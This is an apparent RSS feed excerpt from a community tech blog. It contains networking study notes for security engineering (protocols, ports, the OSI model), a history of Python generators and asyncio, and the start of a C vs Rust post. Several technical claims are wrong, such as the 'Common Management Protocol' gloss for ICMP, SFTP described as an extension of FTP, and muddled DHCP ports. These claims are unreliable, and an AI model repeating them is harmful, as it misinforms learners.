<ul>
<li>Border Gateway Protocol (BGP) is a protocol that is used to exchange routing information between routers in a network. BGP is used to connect different networks and is a crucial protocol that helps to hold the internet together.</li>
</ul>
<h3 id="heading-network-traffic-tools"><strong>Network traffic tools:</strong></h3>
<ul>
<li>Wireshark, Tcpdump, and Burp Suite are all tools that can be used to analyze and capture network traffic. Wireshark is a popular tool that allows you to capture, analyze and filter network traffic. Tcpdump is a command-line tool that is used to capture and analyze network packets. Burp Suite is a tool that can be used for web application security testing, it contains a proxy, spider and scanner.</li>
</ul>
<h3 id="heading-https"><strong>HTTP/S:</strong></h3>
<ul>
<li>HTTP (Hypertext Transfer Protocol) is a protocol that is used to transfer data over the internet. HTTPS (HTTP Secure) is an extension of HTTP that uses SSL/TLS to encrypt the data being transmitted, it uses port 443.</li>
</ul>
<h3 id="heading-ssltls-ssl-secure-sockets-layer-and-tls-transport-layer-security"><strong>SSL/TLS: SSL (Secure Sockets Layer) and TLS (Transport Layer Security)</strong></h3>
<ul>
<li>are protocols that are used to encrypt the data being transmitted over a network. They are commonly used to secure web traffic, email and other types of internet communication. It's important to understand the various algorithms and protocols used in SSL/TLS, including handshakes, encryption, signing, certificate authorities, and trust systems. There are many known vulnerabilities in SSL/TLS, like POODLE, BEAST, CRIME, BREACH, and HEARTBLEED, that have been discovered and patched over the years.</li>
</ul>
<h3 id="heading-tcpudp"><strong>TCP/UDP:</strong></h3>
<ul>
<li>TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) are transport layer protocols that are used to transmit data over a network. TCP is a connection-oriented protocol that guarantees the delivery of data by retransmitting lost packets, while UDP is a connectionless protocol that does not guarantee delivery. Web traffic, chat, VoIP, and traceroute are examples of applications that use TCP or UDP. Streaming applications can slow down network connections that use TCP.</li>
</ul>
<h3 id="heading-cmp"><strong>CMP:</strong></h3>
<ul>
<li>CMP stands for Common Management Protocol, and it is used for managing network devices. The most common CMPs are ping and traceroute. Ping is a utility used to check if a specific IP address is reachable. Traceroute is a utility used to trace the path that a packet takes to reach a destination.</li>
</ul>
<h3 id="heading-mail"><strong>Mail:</strong></h3>
<ul>
<li>SMTP (Simple Mail Transfer Protocol) is used for sending emails, it uses ports 25, 587 and 465. IMAP (Internet Message Access Protocol) is used for accessing emails on a server, it uses ports 143 and 993. POP3 (Post Office Protocol version 3) is used for retrieving emails from a server, it uses ports 110 and 995.</li>
</ul>
<h3 id="heading-ssh"><strong>SSH:</strong></h3>
<ul>
<li>SSH (Secure Shell) is a protocol that is used to securely log into remote computers. SSH uses port 22 and it uses asymmetric encryption to exchange a symmetric key.</li>
</ul>
<h3 id="heading-telnet"><strong>Telnet:</strong></h3>
<ul>
<li>Telnet is a protocol that allows remote communication with hosts. It uses ports 23 and 992. Telnet transmits data in clear text, so it is not secure.</li>
</ul>
<h3 id="heading-arp"><strong>ARP:</strong></h3>
<ul>
<li>ARP is the Address Resolution Protocol. It is used to map an IP address to a MAC address on a LAN. When a device wants to communicate with another device on the LAN, it will first check its ARP cache to see if it already knows the MAC address associated with the IP address. If it doesn't, it will broadcast an ARP request packet asking "Who has IP address X? Tell Y" where X is the IP address it is trying to reach and Y is its own IP address. The device with IP address X will respond with its MAC address, and the sender will then update its ARP cache with this information.</li>
</ul>
<h3 id="heading-dhcp"><strong>DHCP:</strong></h3>
<ul>
<li>DHCP (Dynamic Host Configuration Protocol) is used to dynamically assign IP addresses to devices on a network. DHCP uses ports 67 and 68 for servers and ports 546 and 547 for clients. DHCP can be configured to assign addresses automatically, leases IP addresses to devices and remembers the MAC and IP pairing in a table, or it can be configured to assign addresses manually, where static IP addresses are set by an administrator.</li>
</ul>
<h3 id="heading-irc"><strong>IRC:</strong></h3>
<ul>
<li>IRC (Internet Relay Chat) is a protocol for real-time text communication. It is used by hackers to create botnets, which are networks of infected computers that are controlled remotely.</li>
</ul>
<h3 id="heading-ftpsftp"><strong>FTP/SFTP:</strong></h3>
<ul>
<li>FTP (File Transfer Protocol) is used to transfer files between computers. It uses port 21. SFTP (Secure File Transfer Protocol) is an extension of FTP that provides a secure way to transfer files. It uses port 22, the same port as SSH.</li>
</ul>
<p><strong>HTTP headers</strong> are a part of the HTTP request and response that provide additional information about the request or response. They contain various information, such as the type of request (verb), the requested path, the HTTP version, the domain, the accepted language, the accepted character set, the accepted encoding, the connection status (close or keep-alive), the referrer, the return address and the expected size. These headers are used by servers and clients to understand the request and provide the appropriate response. They are also used by web developers to optimize the performance of their web pages and by security professionals to detect and prevent attacks.</p>
<p><strong>Broadcast domains</strong> refer to the area of a network where broadcast traffic can be heard by all devices. Collision domains refer to the area of a network where a collision can occur, such as on a shared Ethernet network.</p>
<p><strong>A Root store</strong> is a collection of trusted root certificates used to verify the authenticity of digital certificates used in SSL/TLS connections.</p>
<p><strong>CAM table overflow</strong> occurs when a switch's Content Addressable Memory (CAM) table reaches its maximum capacity and can no longer store new MAC addresses. This can cause issues with network connectivity and is typically resolved by upgrading the switch or increasing its CAM table size.</p>
<hr />
<p>Well, here we are. Finally done with networking. I encourage you to read deeply to understand networking before jumping to the next part.</p>
<p>In the next article, we are going to dive into web applications.</p>
<p><a target="_blank" href="https://github.com/gracenolan/Notes/blob/master/interview-study-notes-for-security-engineering.md#networking">The Gracenolan notes</a></p>
<p><a target="_blank" href="https://github.com/WarrenMu">Follow me on github</a></p>
]]></content:encoded></item><item><title><![CDATA[Security engineering  basing on gracenolan notes. part 1]]></title><description><![CDATA[Networking
what is computer networking?

Computer networking is the practice of linking computer devices together to facilitate communication and the sharing of resources. This can be done through wired or wireless connections and can be accomplished...]]></description><link>https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-1</link><guid isPermaLink="true">https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-1</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[cyber security]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[opensource]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Thu, 26 Jan 2023 13:59:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674740498677/87e5fb64-80fc-4840-b980-263bf74b4b7d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-networking">Networking</h3>
<p><strong>what is computer networking?</strong></p>
<ul>
<li>Computer networking is the practice of linking computer devices together to facilitate communication and the sharing of resources. This can be done through wired or wireless connections and can be accomplished using various protocols and technologies. Networking enables computers to share data, resources, and access such as printers and scanners. It also allows for remote access and communication, enabling users to access resources on other devices or networks. Common examples of computer networks include local area networks (LANs), wide area networks (WANs), and the internet.</li>
</ul>
<p><strong>Let's look at the OSI model.</strong></p>
<p>The OSI (Open Systems Interconnection) model is a framework that describes how different protocols and technologies work together to enable communication in a networked environment. The OSI model consists of seven layers, each with a specific function and role in the communication process:</p>
<ul>
<li><p><strong>Physical Layer</strong>: responsible for transmitting raw data bits over a communication channel.</p>
</li>
<li><p><strong>Data Link Layer</strong>: responsible for creating a reliable link between two devices on a network.</p>
</li>
<li><p><strong>Network Layer</strong>: responsible for routing data packets across multiple networks.</p>
</li>
<li><p><strong>Transport Layer</strong>: responsible for ensuring that data is delivered reliably and in the correct order.</p>
</li>
<li><p><strong>Session Layer</strong>: responsible for establishing, maintaining, and terminating communication sessions between devices.</p>
</li>
<li><p><strong>Presentation</strong> <strong>Layer</strong>: responsible for translating and formatting data so that it can be understood by the application layer.</p>
</li>
</ul>
<p><strong>N.B</strong></p>
<p>Application Layer: responsible for providing a user interface and a set of protocols that applications can use to communicate over the network.</p>
<p><strong>Why the OSI model?</strong></p>
<p>The OSI model is useful as a reference model and helps to understand the different components and protocols that are involved in communication between devices in a networked environment.</p>
<p>Let's look at each layer of the OSI model...</p>
<p><strong>Physical; layer 1 (Bits over fiber):</strong></p>
<ul>
<li>The physical layer, also known as layer 1 in the OSI model, is the lowest and is responsible for transmitting raw data bits over a physical medium. It defines the electrical, mechanical, and functional characteristics of the interface between the networked device and the transmission medium. It defines the physical connectors, signaling, and voltage levels used to transmit data. In the case of transmitting bits over fiber, the physical layer would define the type of fiber-optic cable and the method of transmitting data over it, such as using infrared or visible light. It also defines the connector types, such as LC, SC, or ST, used to connect the devices to the cable, as well as the speed of data transfer.</li>
</ul>
<p><strong>Datalink; layer 2 (Error checking and frame synchronisation):</strong></p>
<ul>
<li><p>The data link layer, also known as layer 2 in the OSI model, is the second layer and is responsible for creating a reliable link between two devices on a network. It provides error checking and correction to ensure that data is transmitted accurately and also performs frame synchronization.</p>
</li>
<li><p>Error checking is done by using various techniques such as parity bit, cyclic redundancy check (CRC), or checksums, which are added to the data frames to detect errors that may have occurred during transmission. These techniques allow the receiver to detect errors and request the retransmission of the corrupted data.</p>
</li>
<li><p>Frame synchronization is the process of aligning the data frames so that the receiver can properly interpret the received data. This is done by adding special characters called start and stop bits, or by using a special protocol such as a preamble or a frame delimiter.</p>
</li>
<li><p>The data link layer also assigns logical addresses (MAC addresses) to each device on the network, which are used to identify the source and destination of each data frame. This layer also handles the flow control, which ensures that the sender does not overwhelm the receiver with too much data at once.</p>
</li>
</ul>
<p>Overall, the data link layer provides a reliable connection between two devices on a network by detecting and correcting errors, and by properly aligning and sequencing the data frames.</p>
<p><strong>Network; layer 3 (Routing):</strong></p>
<ul>
<li><p>The network layer, also known as layer 3 in the OSI model, is responsible for routing data packets across multiple networks. It is responsible for logical addressing, also known as IP addressing, and for determining the best path for data to travel from its source to its destination.</p>
</li>
<li><p>The network layer uses logical addresses, such as IP addresses, to identify devices on a network. It also uses routing protocols, such as OSPF, BGP, and RIP, to determine the best path for data to travel from its source to its destination. Routing protocols use algorithms to calculate the best path based on factors such as distance, bandwidth, and reliability.</p>
</li>
<li><p>The network layer also provides mechanisms for handling the fragmentation and reassembly of packets. Fragmentation occurs when a packet is too large to be transmitted over a particular link, and it needs to be divided into smaller packets before being sent. The network layer takes care of this process and also reassembles the packets at the destination.</p>
</li>
<li><p>The network layer also provides Quality of Service (QoS) mechanisms, which allow certain types of traffic to be given priority over others. This is important for real-time applications such as VoIP and video streaming.</p>
</li>
</ul>
<p>Overall, the network layer provides the necessary functionality for routing data packets across multiple networks, and for ensuring that data is delivered to its destination efficiently and reliably.</p>
<p><strong>Transport; layer 4 (TCP/UDP):</strong></p>
<ul>
<li><p>The transport layer, also known as layer 4 in the OSI model, is responsible for ensuring that data is delivered reliably and in the correct order. It provides logical communication between the applications running on different hosts and ensures that data is delivered error-free.</p>
</li>
<li><p>The transport layer uses two main protocols: TCP (Transmission Control Protocol) and UDP (User Datagram Protocol).</p>
</li>
<li><p>TCP is a connection-oriented protocol that establishes a reliable link between two devices before data is transmitted. It uses a three-way handshake to establish a connection and then uses flow control and error-checking mechanisms to ensure that data is transmitted accurately. TCP is used by applications that require a reliable connection, such as web browsing, file transfer, and email.</p>
</li>
<li><p>UDP, on the other hand, is a connectionless protocol that does not establish a connection before data is transmitted. It does not provide error checking or flow control, but it is faster and has less overhead than TCP. UDP is used by applications that do not require a reliable connection, such as streaming media, online gaming, and VoIP.</p>
</li>
<li><p>The transport layer also provides port numbers to identify different applications running on the same host and multiplexing and demultiplexing mechanism to ensure that the data is delivered to the right application.</p>
</li>
</ul>
<p>Overall, the transport layer provides the necessary functionality for ensuring that data is delivered reliably and in the correct order, and for providing logical communication between the applications running on different hosts.</p>
<p><strong>Application; layer 7 (and basically layers 5 &amp; 6) (includes API, HTTP, etc):</strong></p>
<ul>
<li><p>The application layer, also known as layer 7 in the OSI model, is the highest in the network stack and is responsible for directly interacting with the application or user. It includes protocols such as HTTP, FTP, and SMTP, and is responsible for providing a user interface for interacting with the network. It also includes application programming interfaces (APIs) which allow different software applications to communicate and share resources.</p>
</li>
<li><p>The application layer is responsible for providing the necessary functionality for the applications to access the network and exchange data. It defines the syntax, semantics, and synchronization of communication and the negotiation of any authentication and privacy scheme.</p>
</li>
<li><p>HTTP, the most widely used protocol on the internet, is used for communication between web browsers and web servers, and it allows for the exchange of hypertext documents. FTP (File Transfer Protocol) is used for transferring files between computers, and SMTP (Simple Mail Transfer Protocol) is used for sending and receiving emails.</p>
</li>
<li><p>In many modern implementations, layers 5 and 6, the session and presentation layers respectively, have been subsumed into the application layer. The session layer, which was responsible for establishing, maintaining, and terminating communication sessions between devices, is now commonly included in the application layer. The presentation layer, which was responsible for translating and formatting data so that it can be understood by the application layer, is also often included in the application layer.</p>
</li>
</ul>
<p>Overall, the application layer provides a user interface for interacting with the network and enables the communication between different software applications and the network.</p>
<p>That's it for today. next, we shall go through firewalls, NAT, DNS, etc...</p>
<p><a target="_blank" href="https://github.com/gracenolan/Notes/blob/master/">Gracenolan notes on github</a></p>
<p>Follow me on twitter: <a target="_blank" href="https://twitter.com/WarrenMu_">WarrenMu</a></p>
]]></content:encoded></item><item><title><![CDATA[Understanding Asyncio]]></title><description><![CDATA[Asynchronous programming in python is among the most interesting but also the most daunting of things to learn. Not only in python, but generally across languages that support the paradigm. Personally, it took me about a year (the whole of last year)...]]></description><link>https://blog.oscakampala.org/understanding-asyncio</link><guid isPermaLink="true">https://blog.oscakampala.org/understanding-asyncio</guid><category><![CDATA[asyncio]]></category><category><![CDATA[asynchronous]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[TobiasHT]]></dc:creator><pubDate>Mon, 09 Jan 2023 10:34:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1673213383158/1df4db80-6bb2-406a-a1a9-81b0ded2b4f1.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Asynchronous programming in python is among the most interesting but also the most daunting of things to learn. Not only in python, but generally across languages that support the paradigm. Personally, it took me about a year (the whole of last year) trying to learn and re-learn the various concepts that were involved, and I remember how frustrated I was throughout the journey. My hope is that I can help shorten your study cycle by trying to summarize the main concepts that I learned along the way and try to make them more palatable for you to understand. Note that this is not an asyncio tutorial but helps you understand its need and its implementation. I try to provide links to the relevant source that I think will help you master asyncio more.</p>
<h3 id="heading-introduction">Introduction</h3>
<p>According to <a target="_blank" href="https://en.wikipedia.org/wiki/Asynchrony_(computer_programming)">Wikipedia</a></p>
<blockquote>
<p>Asynchrony, in computer programming, refers to the occurrence of events independent of the main program flow and ways to deal with such events.</p>
</blockquote>
<p>In simple terms, this means that the program executes tasks according to which task is ready to run and not following a strict order of tasks. To understand this better, let's use an analogy of the school cook serving lunch to the students that have lined up in a queue. The lunch menu has rice, matooke (bananas), fish, beef and Gnut sauce. The students can pick whatever they wish from the menu. If one student being served by the cook could not make up their mind on if to have the fish or the beef, then they would be wasting time in the queue and blocking the other students from being served. To unblock the queue, the other students need to be allowed to cut in front of the thinking student who is still trying to make up his mind so that they can be served by the cook and later the cook would serve the thinking student after he's made up his mind. This is the same case when it comes to software.</p>
<p>The main reason for asynchronous programming is to speed up the execution of a program or programs by allowing the computer to run multiple execution contexts at the same time and creating non-blocking execution environments. The execution contexts can be an operating system process (OS process), operating system thread (OS thread) or <a target="_blank" href="https://en.wikipedia.org/wiki/Green_thread">green thread</a></p>
<h3 id="heading-threads-and-processes">Threads and Processes</h3>
<p>Again <a target="_blank" href="https://en.wikipedia.org/wiki/Process_(computing)">Wikipedia</a> defines processes as</p>
<blockquote>
<p>In computing, a process is the instance of a computer program that is being executed by one or many threads.</p>
</blockquote>
<p>Basically, a process is a uniquely running program. A single program can be run in many processes, just like one can have many windows of their text editor open. Depending on the operating system, a process can also have the ability to start other processes of different programs or even launch child processes from itself. In python, we can work with multiple processes using the standard library multiprocessing module.</p>
<p>Depending on the operating system, programs are implemented as a collection of threads. According to <a target="_blank" href="https://en.wikipedia.org/wiki/Thread_(computing)">Wikipedia</a></p>
<blockquote>
<p>In computer science, a thread of execution is the smallest sequence of programmed instructions that can be managed independently by a scheduler, which is typically a part of the operating system</p>
</blockquote>
<p>Threads are like internal virtual machines inside a program that run tasks. Theoretically, a program can start as many threads as it wishes. In practice, the number of threads is limited by the memory available.</p>
<p>Both processes and threads were designed to solve the problem at hand, which is to enable us to run multiple tasks at the same time. However, they both come at an expensive cost. First of all, they both take up a huge amount of space and thus limiting the number of execution contexts we can have. In the case of a web server, if we were to start a new process or new thread for every client that connected to our server, the performance of the server will start slowing down by the time we reach 2000 processes or threads on some operating systems since memory would be eaten up immensely. Also, the barrier between process communication exerts a heavy toll on them since there's an overhead for 2 processes to communicate. And for threads however much they do not have the communication barrier like processes, the <a target="_blank" href="https://en.wikipedia.org/wiki/Context_switch">context switching</a> between threads introduces a significant overhead. context switching is basically what the operating system does while juggling multiple threads on a single CPU or core. It has to save the state of the currently running thread in memory and then load a new thread to run for some time, then again save that thread's context, stop it and load a new thread and keep switching between them like that. All of this has significant overhead.</p>
<p>And when it gets to multithreading in python, it is heavily impacted by the global interpreter lock (<a target="_blank" href="https://realpython.com/python-gil/">GIL</a>). The GIL only allows one python thread to run at a time, which hinders optimizations that might be provided by modern operating systems for multithreaded programs. And since one python thread can be run at a time, it means python will cut short a thread right in the middle of its important execution such as validating a user or reading from a database. This is called <a target="_blank" href="https://en.wikipedia.org/wiki/Preemption_(computing)#PREEMPTIVE">preemptive</a> multithreading and it's the cause of expensive context switches. It also might lead to some software faults if not handled carefully</p>
<h3 id="heading-green-threads">Green threads</h3>
<p>Green threads, or proto threads as they might be known in other terms, are execution contexts that are implemented in a language's runtime and try to mimic the working of OS-level threads. They run in the same process and within the same thread of execution provided by the OS. Due to their extremely lightweight nature, hundreds of thousands of green threads can be typically run by a language runtime.</p>
<h4 id="heading-implementation">Implementation</h4>
<p>To implement green threads in any language runtime, we need to first know how the operating system handles its threads, why they're so expensive and how we can implement lightweight versions in our runtime. First of all, we've already outlined the fact that every OS thread takes up a significant amount of memory to save its context, and also the <a target="_blank" href="https://en.wikipedia.org/wiki/Scheduling_(computing)">OS Scheduler</a> takes a lot of time switching between various threads. There are more issues caused by synchronization techniques such as mutexes and semaphores which cause lock contention, lock starvation and other <a target="_blank" href="https://en.wikipedia.org/wiki/Lock_(computer_science)#Disadvantages">disadvantages of using locks</a></p>
<p>Knowing that, we go ahead to design our green threads with two major goals in mind, that is to say, they should be very memory efficient hence lightweight, and have fast context switching. Because green threads are implemented with memory-efficient language machinery we can have hundreds of thousands of them run in a single process. And given the fact that they run in the same process and same thread, we eliminate the need for context switching by the OS and handle it ourselves, which makes it extremely fast.</p>
<h3 id="heading-green-threads-in-python">Green threads in python</h3>
<p>Before the advent of asyncio, significant efforts in the python world were done to create libraries that provide green threads. One of the major pioneers was <a target="_blank" href="https://greenlet.readthedocs.io/en/latest/">greenlet</a> which implemented an industry-used framework to work with green threads. The twisted project came in later which also introduced an easy-to-use industry framework to build web servers and services using python green threads. coming to today, lots of frameworks have been written to help use python green threads, and asyncio has created the standard for working with these green threads.</p>
<h4 id="heading-implementing-python-green-threads-with-generators">Implementing python green threads with generators</h4>
<p>So let us walk the journey of the evolution of green threads in python and how they were implemented over time up to this day.</p>
<p>First of all, we need to ask ourselves how we can implement green threads. From what we had mentioned earlier in the previous section, green threads should be able to mimic OS threads by having the ability to run a task and also allowing for context switching since all the green threads should share a single process to execute. One significant feature of the python language has qualities that might help us implement this, and those are <a target="_blank" href="https://realpython.com/introduction-to-python-generators/">generators</a>. Python generators were first standardized in <a target="_blank" href="https://peps.python.org/pep-0255/"><strong>PEP 255: Simple Generators</strong></a> as early as the year 2000 and they provide a way of creating iterators that can be executed on demand. This implicitly means that generators can run a task since they are functions in themselves, and also can save their state to be resumed later. So they can be paused and resumed, a key feature to help us build green threads since we need our execution environment to pause a running task and resume it later without impact.</p>
<p>Generators can also not be paused by the outside world but can only be paused from within after yielding their value. This means that the green threads we write tell the execution environment when to be paused and not the execution environment abruptly deciding when to stop the thread. So if the green is in the middle of an important database transaction or memory access, it can run without interruption until it feels safe to yield its control back to the execution environment. This is called <a target="_blank" href="https://en.wikipedia.org/wiki/Cooperative_multitasking">cooperative multitasking</a>.</p>
<p>Alright, enough with the jibberish. Let's try to implement a green thread system in python. To implement the green thread system, we need two components: The green thread itself and the executor running the green threads in a loop. The executor is commonly known as the event loop. But before we dig deep into the implementation, let us first have a brief look at generators in python.</p>
<pre><code class="lang-python"><span class="hljs-comment"># A simple generator that yields values from a list of numbers</span>
nums = [ num <span class="hljs-keyword">for</span> num <span class="hljs-keyword">in</span> range(<span class="hljs-number">20</span>)]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">num_generator</span> (<span class="hljs-params">num_list</span>):</span>
    index = <span class="hljs-number">0</span>                     <span class="hljs-comment">#index of elements in the number list</span>
    max_index = len(num_list) - <span class="hljs-number">1</span>    <span class="hljs-comment">#the maximum index of elements in a list</span>
    <span class="hljs-keyword">while</span> (index &lt;= max_index):
        temp_index = index        <span class="hljs-comment">#hold the current index</span>
        index += <span class="hljs-number">1</span>                <span class="hljs-comment">#increment to next index</span>
        <span class="hljs-keyword">yield</span> num_list[temp_index]<span class="hljs-comment">#yield value at current index</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">printer</span> ():</span>
    <span class="hljs-keyword">for</span> num <span class="hljs-keyword">in</span> num_generator(nums):
        print(num)

printer()
</code></pre>
<p>The above example shows us the basic structure of a typical generator. Any functional generator should have a loop and a yield statement. Our num_generator generator function yields one number at a time when iterated over in the printer function. If we wanted to have more control of the execution of the generator, we would use the built-in <code>next</code> function which tells the generator to yield the next value and pause.</p>
<pre><code class="lang-python"><span class="hljs-comment"># A simple generator that yields values from a list of numbers</span>
nums = [ num <span class="hljs-keyword">for</span> num <span class="hljs-keyword">in</span> range(<span class="hljs-number">20</span>)]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">num_generator</span> (<span class="hljs-params">num_list</span>):</span>
    index = <span class="hljs-number">0</span>                     <span class="hljs-comment">#index of elements in the number list</span>
    max_index = len(num_list) - <span class="hljs-number">1</span>    <span class="hljs-comment">#the maximum index of elements in a list</span>
    <span class="hljs-keyword">while</span> (index &lt;= max_index):
        temp_index = index        <span class="hljs-comment">#hold the current index</span>
        index += <span class="hljs-number">1</span>                <span class="hljs-comment">#increment to next index</span>
        <span class="hljs-keyword">yield</span> num_list[temp_index]<span class="hljs-comment">#yield value at current index</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">printer</span> ():</span>
    max_times = <span class="hljs-number">10</span>        <span class="hljs-comment">#maximum number of times to call next</span>
    counter = <span class="hljs-number">0</span>
    num_gen = num_generator(nums)
    <span class="hljs-keyword">while</span> (counter &lt;= max_times):
        num = next(num_gen)
        counter += <span class="hljs-number">1</span>
        print(num)

printer()
</code></pre>
<p>We've updated the code in the printer function to call next on the num_gen generator and terminate when the counter is greater than max_times.</p>
<p>Let us now have three instances of the generator function become our threads and then create an executor to run them.</p>
<pre><code class="lang-python"><span class="hljs-comment"># A simple generator that yields values from a list of numbers</span>
nums = [ num <span class="hljs-keyword">for</span> num <span class="hljs-keyword">in</span> range(<span class="hljs-number">20</span>)]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">num_generator</span> (<span class="hljs-params">num_list</span>):</span>
    index = <span class="hljs-number">0</span>                     <span class="hljs-comment">#index of elements in the number list</span>
    max_index = len(num_list) - <span class="hljs-number">1</span>    <span class="hljs-comment">#the maximum index of elements in a list</span>
    <span class="hljs-keyword">while</span> (index &lt;= max_index):
        temp_index = index        <span class="hljs-comment">#hold the current index</span>
        index += <span class="hljs-number">1</span>                <span class="hljs-comment">#increment to next index</span>
        <span class="hljs-keyword">yield</span> num_list[temp_index]<span class="hljs-comment">#yield value at current index</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">executor</span> ():</span>
    <span class="hljs-comment"># create a list of three green threads</span>
    green_threads = [num_generator(nums) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>)]
    <span class="hljs-keyword">while</span> len(green_threads):        <span class="hljs-comment"># while green threads still in list</span>
        <span class="hljs-keyword">for</span> thread <span class="hljs-keyword">in</span> green_threads: <span class="hljs-comment"># execute each thread in list</span>
            num = next(thread)
            <span class="hljs-keyword">if</span> (num &gt;= <span class="hljs-number">10</span>):
                green_threads.remove(thread)
            <span class="hljs-keyword">else</span>:
                print(num)

executor()
</code></pre>
<p>In the above code snippet, the threads in the green_thread list are run concurrently and removed if they yield a value greater or equal to ten. This is a simple demonstration of how to use a list of generators and an evaluation loop as a green threads system, but this is not what happens in practice</p>
<h4 id="heading-generators-as-coroutines">Generators as coroutines</h4>
<p>We have taken a glimpse at generators in the above section and how we can work with them as green threads. Looking at how we implemented our system earlier, it looked like we had a set of running routines (functions) that participated in the cooperative multithreading model in that one routine yielded control back to the executor to run the next routine after it was done with its temporary execution. These cooperatively running routines are called <a target="_blank" href="https://en.wikipedia.org/wiki/Coroutine"><strong>coroutines</strong></a><strong>.</strong></p>
<p>Generators feel like coroutines, but not as quite. This is because we can currently only retrieve data from them and cannot send data inside them for processing. They feel more like data producers, and indeed they are powerful data producers. We can also not explicitly close a generator unless it raises a StopIterationError on its own. This is important since we need to have full execution of our green threads and stop their execution in case something goes wrong. So to use them as coroutines, we need a key ingredient which is the ability to interact with these coroutines as they are running, probably to change their execution state or feed in more data for processing and more.</p>
<p>For that <a target="_blank" href="https://peps.python.org/pep-0342/">PEP 342: Coroutines via enhanced generators</a> was devised in 2005. It extended the simple python generators from PEP 255 into more usable coroutines by adding the ability to send data into a running generator using now the newly added <strong>send</strong> method, send and error into the generator using the <strong>throw</strong> and also stop it if needed using the <strong>close</strong> method. With these changes, it means now we can implement proper green threads using coroutines as described in PEP 342. Note that the <strong>send</strong> method is not meant to send large chunks of data into a running generator, but you can use it to send control statements to change the execution state of a generator in case it was implemented as a <a target="_blank" href="https://en.wikipedia.org/wiki/Finite-state_machine">finite state machine</a>. Also if we call the send method with None as the argument, we're just telling the coroutine to execute in the same way we'd use the next built-in function. For fear of an exceedingly long blog post, I'll not place examples for this, but I'll add a link to a very detailed series of youtube videos by a python core developer explaining the internals quite simply and in detail.</p>
<h4 id="heading-factoring-out-the-generator">Factoring out the generator</h4>
<p>It became pretty apparent after the prominent use of generator-based coroutines that developers needed to factor out the "yield" statements from the coroutines to avoid redundancy. This was because generators could only yield to their immediate caller and it was getting hard to reuse some parts of code across different codebases. <a target="_blank" href="https://peps.python.org/pep-0380/">PEP 380: Syntax for delegating to a sub-generator</a> was devised in 2009 to solve this problem, and it introduced the use of "yield from" to extract a generator part of a coroutine and place it in a sub-generator which would let the sub-generator be used a cross different modules and libraries. For brevity, more detail on the use of "yield from" can be read in this <a target="_blank" href="http://simeonvisser.com/posts/python-3-using-yield-from-in-generators-part-1.html">article</a>.</p>
<h3 id="heading-async-await-and-asyncio">Async, Await and Asyncio</h3>
<p>If you followed through the evolutionary journey of the python coroutine stack, you're now at the final stage of the evolution cycle. In the previous section of Factoring out the generator, we talked about the introduction of the "yield from" statement and how it was used to factor out sub-generators to create reusable code. Well, it turns out that "yield" and "from" are two independent python keywords that are fundamentally different in how they are interpreted by python developers, and having them work together in this way was getting confusing. Not to mention, the industry had begun standardizing a given set of keywords to use for coroutines, namely "async" and "await statements. To sort out the confusion and also meet industry standards, <a target="_blank" href="https://peps.python.org/pep-0492/">PEP 492: Coroutines with async and await syntax</a>. The PEP replaced the use of "yield from" with "await", and also mandated that every function that has an "await" keyword inside its block should be marked with an "async" keyword. Fundamentally, the async-await coroutines are still generators, and they have the same API as generators do.</p>
<p>With the async and await syntax established, the asyncio library was also standardized in <a target="_blank" href="https://peps.python.org/pep-3156/">PEP 3156: Asynchronous IO support rebooted, the "asyncio" Module</a> after much work on the Tulip project by Guido van Rossum himself</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>This blog post was meant as a study of the origin and importance of asynchronous programming, especially in python, and how it evolved with time. It's not meant as a tutorial for the asyncio library and writing async code, but rather to answer a few questions about why you should take time to learn asynchronous programming. There are lots of tutorials out there to help you get started with asyncio and I wouldn't wish to duplicate the efforts, I'll just add links to what I feel is the best material out there for learning asyncio.</p>
<p>This blog post is but a mere fraction of the entire plethora of knowledge out there about asynchronous programming in python, but I do hope it helps you answer the most fundamental questions that I also had to ask while starting out my journey of mastering asyncio.</p>
<h3 id="heading-links">Links</h3>
<p><strong><mark>Videos</mark></strong></p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=1coLC-MUCJc">Guido presents project Tulip; Twitter university</a></p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=aurOB4qYuFM">Guido on Tulip; Bay Piggies</a></p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=Xbl7XjFYsN4&amp;list=PLhNSoGM2ik6SIkVGXWBwerucXjgP1rHmB">import Asyncio; EdgeDB</a></p>
<p><strong><mark>articles</mark></strong></p>
<p><a target="_blank" href="https://superfastpython.com/python-asyncio/">Python Asyncio: The complete guide; superfast python</a></p>
<p><a target="_blank" href="https://realpython.com/async-io-python/">Asyncio in Python: A complete walkthrough; Real Python</a></p>
]]></content:encoded></item><item><title><![CDATA[C vs Rust cyber security programming. Which one to choose.]]></title><description><![CDATA[Both C and Rust are programming languages that can be challenging to learn, especially if you are new to programming. However, they are both powerful languages that are widely used in the software industry.
